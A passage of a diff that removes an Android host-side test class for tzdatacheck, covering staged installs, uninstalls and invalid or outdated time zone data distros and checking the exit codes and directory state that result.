-     * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
-     * version is.
-     */
-    private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
-
-    /** An arbitrary valid revision number. */
-    private static final int VALID_REVISION = 1;
-
-    private String mDeviceAndroidRootDir;
-    private PathPair mTestRootDir;
-    private PathPair mSystemDir;
-    private PathPair mDataDir;
-
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
-        // value first to do so. It has been hardcoded instead.
-        mDeviceAndroidRootDir = "/system";
-
-        // Create a test root directory on host and device.
-        Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
-        mTestRootDir = new PathPair(
-                hostTestRootDir,
-                "/data/local/tmp/tzdatacheck_test");
-        createDeviceDirectory(mTestRootDir);
-
-        // tzdatacheck requires two directories: a "system" path and a "data" path.
-        mSystemDir = mTestRootDir.createSubPath("system_dir");
-        mDataDir = mTestRootDir.createSubPath("data_dir");
-
-        // Create the host-side directory structure (for preparing files before pushing them to
-        // device and looking at files retrieved from device).
-        createHostDirectory(mSystemDir);
-        createHostDirectory(mDataDir);
-
-        // Create the equivalent device-side directory structure for receiving files.
-        createDeviceDirectory(mSystemDir);
-        createDeviceDirectory(mDataDir);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        // Remove the test root directories that have been created by this test.
-        deleteHostDirectory(mTestRootDir, true /* failOnError */);
-        deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
-        super.tearDown();
-    }
-
-    /**
-     * Test the base file used by tzdatacheck exists in the expected location - tzcdatacheck relies
-     * on this file to determine the version of tzdata on device. The path is passed to tzdatacheck
-     * via a command line argument hardcoded in system/core/rootdir/init.rc.
-     */
-    public void testExpectedBaseFilesExist() throws Exception {
-        String baseTzFilesDir = "/apex/com.android.tzdata/etc/tz/";
-        assertDeviceFileExists(baseTzFilesDir + "tz_version");
-    }
-
-    public void testTooFewArgs() throws Exception {
-        // No need to set up or push files to the device for this test.
-        assertEquals(1, runTzDataCheckWithArgs(new String[0]));
-        assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
-    }
-
-    // {dataDir}/staged exists but it is a file.
-    public void testStaging_stagingDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
-        // than delete.
-        assertDevicePathExists(dataStagedDir);
-        assertDevicePathIsFile(dataStagedDir);
-    }
-
-    // {dataDir}/staged exists but /current dir is a file.
-    public void testStaging_uninstall_currentDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        createStagedUninstallOnHost(dataStagedDir);
-
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
-    public void testStaging_uninstall_noCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        createStagedUninstallOnHost(dataStagedDir);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/staged contains an uninstall, and there is something to uninstall.
-    public void testStaging_uninstall_withCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        createStagedUninstallOnHost(dataStagedDir);
-
-        // Create a current installed distro.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] distroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/staged exists but /current dir is a file.
-    public void testStaging_install_currentDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged install.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] distroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataStagedDir, distroBytes);
-
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "installed" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/staged contains an install, but there is nothing to replace.
-    public void testStaging_install_noCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged install.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataStagedDir, stagedDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "installed" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
-    }
-
-    // {dataDir}/staged contains an install, and there is something to replace.
-    public void testStaging_install_withCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        DistroVersion currentDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
-        DistroVersion stagedDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 2);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] stagedDistroBytes = createValidDistroBuilder()
-                .setDistroVersion(stagedDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataStagedDir, stagedDistroBytes);
-
-        // Create a current installed distro.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] currentDistroBytes = createValidDistroBuilder()
-                .setDistroVersion(currentDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, currentDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "installed" state.
-        // The stagedDistro should now be the one in the current dir.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
-    }
-
-    // {dataDir}/staged contains an invalid install, and there is something to replace.
-    // Most of the invalid cases are tested without staging; this is just to prove that staging
-    // an invalid distro is handled the same.
-    public void testStaging_install_withCurrent_invalidStaged() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall which contains invalid files (missing distro version).
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] stagedDistroBytes = createValidDistroBuilder()
-                .clearVersionForTests()
-                .buildUnvalidatedBytes();
-        unpackOnHost(dataStagedDir, stagedDistroBytes);
-
-        // Create a current installed distro.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, currentDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. The staged directory will have become the
-        // current one, but then it will be discovered to be invalid and will be removed.
-        assertEquals(3, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // No {dataDir}/current exists.
-    public void testNoCurrentDataDir() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Deliberately not creating anything on host in the data dir here, leaving the empty
-        // structure.
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-    }
-
-    // {dataDir}/current exists but it is a file.
-    public void testCurrentDataDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(2, runTzDataCheckOnDevice());
-
-        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
-        // than delete.
-        assertDevicePathExists(dataCurrentDir);
-        assertDevicePathIsFile(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but is missing the distro version file.
-    public void testMissingDataDirDistroVersionFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
-                .clearVersionForTests()
-                .buildUnvalidatedBytes();
-        unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(3, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version file is short.
-    public void testShortDataDirDistroVersionFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
-        // Replace the distro version file with a short file.
-        Path distroVersionFile =
-                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
-        assertHostFileExists(distroVersionFile);
-        Files.write(distroVersionFile, new byte[3]);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(3, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists and the distro version file is long enough, but contains junk.
-    public void testCorruptDistroVersionFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
-
-        // Replace the distro version file with junk.
-        Path distroVersionFile =
-                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
-        assertHostFileExists(distroVersionFile);
-
-        int fileLength = (int) Files.size(distroVersionFile);
-        byte[] junkArray = new byte[fileLength]; // all zeros
-        Files.write(distroVersionFile, junkArray);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(4, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is incorrect.
-    public void testInvalidMajorDistroVersion_older() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion oldMajorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion() - 1, 1, VALID_RULES_VERSION, 1);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(oldMajorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(5, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is incorrect.
-    public void testInvalidMajorDistroVersion_newer() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion newMajorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion() + 1,
-                TzDataSetVersion.currentFormatMinorVersion(),
-                VALID_RULES_VERSION, VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(newMajorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(5, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is incorrect.
-    public void testInvalidMinorDistroVersion_older() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion oldMinorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion() - 1,
-                VALID_RULES_VERSION, 1);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(oldMinorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(5, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is newer (which is accepted because it should
-    // be backwards compatible).
-    public void testValidMinorDistroVersion_newer() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion newMajorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion() + 1,
-                VALID_RULES_VERSION, VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(newMajorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/current is valid but the tz_version file in /system is missing.
-    public void testSystemTzVersionFileMissing() throws Exception {
-        // Deliberately not writing anything in /system here.
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, validDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(6, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
-    }
-
-    // {dataDir}/current is valid but the tz_version file in /system is junk.
-    public void testSystemTzVersionFileCorrupt() throws Exception {
-        // Set up the /system directory structure on host.
-        byte[] invalidTzDataBytes = new byte[20];
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, validDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(7, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
-    }
-
-    // {dataDir}/current is valid and the tz_version file in /system is for older data.
-    public void testSystemTzRulesOlder() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        // Newer than RULES_VERSION_ONE in /system
-        final String distroRulesVersion = RULES_VERSION_TWO;
-        DistroVersion distroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(), distroRulesVersion, VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(distroVersion)
-                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
-    // kept.
-    public void testSystemTzVersionSame() throws Exception {
-        // Set up the /system directory structure on host.
-        final String systemRulesVersion = VALID_RULES_VERSION;
-        createSystemTzVersionFileOnHost(systemRulesVersion);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion distroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(),
-                systemRulesVersion,
-                VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(distroVersion)
-                .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/current is valid and the tzdata file in /system is the newer.
-    public void testSystemTzVersionNewer() throws Exception {
-        // Set up the /system directory structure on host.
-        String systemRulesVersion = RULES_VERSION_TWO;
-        createSystemTzVersionFileOnHost(systemRulesVersion);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
-        DistroVersion distroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(),
-                distroRulesVersion,
-                VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(distroVersion)
-                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // It is important the dataCurrentDir is deleted in this case - this test case is the main
-        // reason tzdatacheck exists.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
-        byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
-    }
-
-    private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
-        createHostDirectory(stagedDir);
-
-        PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
-        // Create an empty file.
-        new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
-    }
-
-    private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
-        createHostDirectory(path);
-        new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
-    }
-
-    private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
-        String distroRulesVersion = VALID_RULES_VERSION;
-        DistroVersion validDistroVersion =
-                new DistroVersion(
-                        TzDataSetVersion.currentFormatMajorVersion(),
-                        TzDataSetVersion.currentFormatMinorVersion(),
-                        distroRulesVersion, VALID_REVISION);
-        return new TimeZoneDistroBuilder()
-                .setDistroVersion(validDistroVersion)
-                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .setIcuDataFile(new byte[10]);
-    }
-
-    private static byte[] createValidTzDataBytes(String rulesVersion) {
-        return new ZoneInfoTestHelper.TzDataBuilder()
-                .initializeToValid()
-                .setHeaderMagic("tzdata" + rulesVersion)
-                .build();
-    }
-
-    private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
-        return new TzDataSetVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(),
-                rulesVersion,
-                VALID_REVISION)
-                .toBytes();
-    }
-
-    private int runTzDataCheckOnDevice() throws Exception {
-        return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
-    }
-
-    private int runTzDataCheckWithArgs(String[] args) throws Exception {
-        String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
-        return executeCommandOnDeviceWithResultCode(command).statusCode;
-    }
-
-    private static String createTzDataCheckCommand(String rootDir, String[] args) {
-        StringJoiner joiner = new StringJoiner(" ");
-        String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
-        joiner.add(tzDataCheckCommand);
-        for (String arg : args) {
-            joiner.add(arg);
-        }
-        return joiner.toString();
-    }
-
-    private static void assertHostFileExists(Path path) {
-        assertTrue(Files.exists(path));
-    }
-
-    private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
-        return getDevice().executeShellCommand(command);
-    }
-
-    private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
-        executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
-    }
-
-    private static void createHostDirectory(PathPair dir) throws Exception {
-        Files.createDirectory(dir.hostPath);
-    }
-
-    private static class ShellResult {
-        final String output;
-        final int statusCode;
-
-        private ShellResult(String output, int statusCode) {
-            this.output = output;
-            this.statusCode = statusCode;
-        }
-    }
-
-    private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
-        // A file to hold the script we're going to create.
-        PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
-        // A file to hold the output of the script.
-        PathPair scriptOut = mTestRootDir.createSubPath("script.out");
-
-        // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
-        // and printing the result code.
-        String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
-
-        // Parse and return the result.
-        try {
-            Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
-
-            // Push the script to the device.
-            pushFile(scriptFile);
-
-            // Execute the script using "sh".
-            String execCommandUnderShell =
-                    mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
-            String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
-
-            // Pull back scriptOut to the host and read the content.
-            pullFile(scriptOut);
-            byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
-            String output = new String(outputBytes, StandardCharsets.US_ASCII);
-
-            int resultCode;
-            try {
-                resultCode = Integer.parseInt(resultCodeString);
-            } catch (NumberFormatException e) {
-                fail("Command: " + command
-                        + " returned a non-integer: \"" + resultCodeString + "\""
-                        + ", output=\"" + output + "\"");
-                return null;
-            }
-            return new ShellResult(output, resultCode);
-        } finally {
-            deleteDeviceFile(scriptFile, false /* failOnError */);
-            deleteDeviceFile(scriptOut, false /* failOnError */);
-            deleteHostFile(scriptFile, false /* failOnError */);
-            deleteHostFile(scriptOut, false /* failOnError */);
-        }
-    }
-
-    private void pushHostTestDirToDevice() throws Exception {
-        assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
-    }
-
-    private void pullFile(PathPair file) throws DeviceNotAvailableException {
-        assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
-                getDevice().pullFile(file.devicePath, file.hostFile()));
-    }
-
-    private void pushFile(PathPair file) throws DeviceNotAvailableException {
-        assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
-                getDevice().pushFile(file.hostFile(), file.devicePath));
-    }
-
-    private void deleteHostFile(PathPair file, boolean failOnError) {
-        try {
-            Files.deleteIfExists(file.hostPath);
-        } catch (IOException e) {
-            if (failOnError) {
-                fail(e);
-            }
-        }
-    }
-
-    private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
-            throws DeviceNotAvailableException {
-        String deviceDir = dir.devicePath;
-        try {
-            executeCommandOnDeviceRaw("rm -r " + deviceDir);
-        } catch (Exception e) {
-            if (failOnError) {
-                throw deviceFail(e);
-            }
-        }
-    }
-
-    private void deleteDeviceFile(PathPair file, boolean failOnError)
-            throws DeviceNotAvailableException {
-        try {
-            assertDevicePathIsFile(file);
-            executeCommandOnDeviceRaw("rm " + file.devicePath);
-        } catch (Exception e) {
-            if (failOnError) {
-                throw deviceFail(e);
-            }
-        }
-    }
-
-    private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
-        Path hostPath = dir.hostPath;
-        if (Files.exists(hostPath)) {
-            Consumer<Path> pathConsumer = file -> {
-                try {
-                    Files.delete(file);
-                } catch (Exception e) {
-                    if (failOnError) {
-                        fail(e);
-                    }
-                }
-            };
-
-            try {
-                Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
